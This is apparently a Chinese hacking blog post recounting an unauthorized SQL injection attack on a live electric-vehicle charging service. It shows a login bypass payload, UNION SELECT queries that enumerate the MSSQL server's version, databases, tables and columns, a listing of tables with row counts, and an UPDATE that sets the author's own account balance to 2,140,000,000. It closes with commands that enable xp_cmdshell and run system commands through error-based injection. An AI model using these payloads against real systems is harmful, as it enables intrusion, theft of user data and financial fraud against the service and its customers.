开始准备工作
用什么nmap,awvs,vooli,ibm一堆工具搞了一遍发现没啥有用的信息
然后直接打开网站只有一个后台,这样只能看下能不能后台注入
如上图显示是有注入点的试下'or '1'='1'--直接进去了
结果发现后台啥功能都没有就几张图
然后转去搞APP去了,发现APP都是些泄露账户密码什么的没啥好玩的
振奋人心的发现
在Fiddler中抓到了一些奇怪的JS文件打开一看好多网址,都是我用IBM没扫描出来的东西,在一堆网址中找到了一个网页可以使用
用老方法测试发现存在注入点如图
我们用order by 猜字段得出有12个字段
接着构造语句查询数据库版本数据库权限等信息
'union select null,null,null,null,@@version,null,null,null,null,null,null,null -- 查询数据库版本
'union select null,null,null,null,system_user,null,null,null,null,null,null,null -- 用户权限
查询的后的一些基础信息
system_user sa
@@version Microsoft SQL Server 2012 (SP4) (KB4018073) - 11.0.7001.0 (X64) Aug 15 2017 10:23:29 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.3 (Build 9600: )
@@servername WIN-SF2MD4VM4JT
host_name() WIN-RG8BCEM932D
查询当前所有的数据库
111'union select null,null,null,null,name,null,null,null,null,null,null,null from master..sysdatabases--
查询当前数据库中的全部表(部分表截图)
'union select null,null,null,null,name,null,null,null,null,null,null,null from sysobjects where xtype='U' and category=0 --
查询表中是否有数据(查询行)
'union select null,null,null,null,count(1),null,null,null,null,null,null,null from Server_IN_UserRecharge--
表+表中的行
c13b
Server_AccountTradeRecord 39309
Server_AlipayData 17446
Server_BatteryType
Server_DT_BatteryDiagnosticCATLData
Server_DT_CarTypeInformation 67
Server_DT_BatteryDiagnosticData
Server_DT_ChargingPileStatusData 1804426
Server_DT_CostAccount 1
Server_DT_Dictionary 22
Server_DT_DictionaryData 104
Server_DT_FeedbackData 28
Server_DT_GroupCustomersData
Server_DT_IncomeAccount 1
Server_DT_InvoiceInformation
Server_DT_ServerErrorLogData 5829
Server_DT_SmsCodeData 302
Server_DT_UserCarInformation 140
Server_IN_ChargingPileInformation 7
Server_IN_ChargingStationInformation 2
Server_IN_CouponInformation 2
Server_IN_DBServerConnection 3
Server_IN_DeviceBindChargingStation
Server_IN_DeviceInformation 11
Server_IN_ElectricityStatistics 4
Server_IN_IC 1
Server_IN_IntegralRule
Server_IN_Menu_RoleInformation 109
Server_IN_ProvincesAndCity 47187
Server_IN_PushMsgData 226
Server_IN_ReceiveAddressInformation 41
Server_IN_RoleInformation 3
Server_IN_Shop
Server_IN_SignIn
Server_IN_StationValuationProgram 10
Server_IN_SystemConfigurationInfo
Server_IN_Town 41835
Server_IN_User_RoleInformation 6
Server_IN_UserInformation 81
Server_IN_UserPushConfig 36
Server_IN_UserRecharge
Server_IN_ValuationProgram 24
Server_NE_MenuInformation 64
Server_Reservation 58
Server_ReserveRecord
Server_UserAccount 80
Server_DT_ChargeWarnData 1
Server_DT_ChargeData 12248
后面一个表一个表猜去哪里有金额数据,最后在Server_UserAccount 这个表中找到了金额
查询表中的全部列名
'union select null,null,null,null,name,null,null,null,null,null,null,null FROM SysColumns Where id=Object_Id('Server_UserAccount')--
查询表中列的数据
11111'union select null,null,Amount,User_id,2,3,null,4,null,null,null,null FROM Server_UserAccount--
修改金额
找到自己的用户ID这个我是在APP的返回包中抓到的
Update 表名 set 字段=值 where 条件
Update Server_UserAccount set Amount=2140000000 where User_id=5317--
尝试getshell
改网站站库分离+没有上传点+不知道是装了360还是配置错误尽然用xp_cmdshell错误
原理我是个菜鸡,各位大佬轻喷,顺便提提有什么思路让我学习学习
最后记个小TOP:
'union select null,null,null,null,x,null,null,null,null,null,null,null from xx-- 查询创建好表的数据
'create table xx(x nvarchar(max))-- 在数据库中创建XX的表列为X
用着4局话开启XP_CMDSHELL
sp_configure 'show advanced options',1
reconfigure
sp_configure 'xp_cmdshell',1
reconfigure
接着用报错注入法
'begin try exec master..xp_cmdshell'whoami' end try begin catch insert into xx select ERROR_MESSAGE() end catch-- 在数据库中插入exec master..xp_cmdshell'whoami'然后查询该表得到回显
参考博客:http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet